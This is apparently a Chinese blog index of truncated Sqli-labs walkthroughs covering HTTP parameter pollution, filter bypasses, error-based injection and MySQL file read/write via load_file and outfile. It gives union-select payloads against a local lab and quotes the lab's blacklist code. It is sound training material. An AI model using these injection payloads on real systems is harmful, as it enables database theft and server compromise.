Apr092020
Sqli-labs Less-31 HPP参数污染攻击
Less-31与前面两关的方式是一样的,我们直接看到less-31的sql语句:
$id=$_GET['id'];
$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
所以payload为:
http://127.0.0.1/sql/Less-31/login.php?id=1&id=-1″) union select 1,database(),3–+
 
总结:从以上三关中,我们主要学习到的是不同服务器对于参数的不同处理,HPP的应用有很多,不...阅读全文
抢沙发
Apr092020
Sqli-labs Less-30 HPP参数污染攻击
Less-30与less-29原理是一致的,区别仅仅是将id的’变为了”,我们可以看到less-30的sql语句为:
$id=$_GET['id'];
$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
所以payload为:
http://127.0.0.1/sql/Less-30/login.php?id=1&id=-1″ union select 1,database(),3–+
 
阅读全文
Apr092020
Sqli-labs Less-29 HPP参数污染攻击
查看源码SQL如下
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
尝试进行注入
http://127.0.0.1/sql/Less-29/login.php?id=-1′ union select 1,database(),3–+
系统检测到有问题,跳转到其他的页面了。
 
查看源码
首先,有一个whitelist()方法,确保输入变量为数字,如果输入变量中包含非数字的字符,跳转到hacked.php
//WAF implimentation with a whitelist a...阅读全文
Apr092020
Sqli-labs Less-26 绕过 or、and、注释符、空格、斜杠过滤 基于BIGINT溢出的报错注入
关键代码
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_...阅读全文
Apr092020
Sqli-labs Less-25a 绕过or和and过滤 union注入
关键代码
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
	
	return $id;
}
$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
//print_r(mysql_error());
不同于25关的是sql语句中对于id,没有R...阅读全文
Apr092020
Sqli-labs Less-25 绕过or和and过滤 extractvalue()报错注入
关键代码
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
	
	return $id;
}
$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
print_r(mysql_error());
本关主要为or and过滤,如何绕过or和and过...阅读全文
Apr092020
Sqli-labs Less-23 绕过注释符过滤 union注入
关键源码如下
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
print_r(mysql_error());
此处主要是在获取id参数时进行了#,–注释符号的过滤。
Solution:
http://127.0.0.1/sql/Less-23/index.php?id=-1′ union select 1,(se...阅读全文
Apr092020
Sqli-labs Less-17 使用extractvalue()函数进行报错注入
本关我们可以看到是一个修改密码的过程,利用的是update语句,与在用select时是一样的,我们仅需要将原先的闭合,构造自己的payload。
尝试报错
Username:admin
Password:1′
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘admin” at line 1
可以看到 admin” 说明...阅读全文
Apr092020
Sqli-labs Less-7 利用文件导入进行注入
本关的标题是dump into outfile,意思是本关我们利用文件导入的方式进行注入。而在Background-3中我们已经学习了如何利用dump into file。
这里首先还是回到源代码中去。重点放在对id参数的处理和sql语句上,从源代码中可以看到
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
	if($row)
	...阅读全文
Apr092020
Sqli-labs Background-3 mysql导入导出的讲解
1、load_file()导出文件
Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
使用条件:
A、必须有权限读取并且文件必须完全可读
and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权
B、欲读取文件必须在服务器上
C、必须指定文件完整的路径
D、欲读...阅读全文
 
        
         
 
 
 
 
 
 
 
 
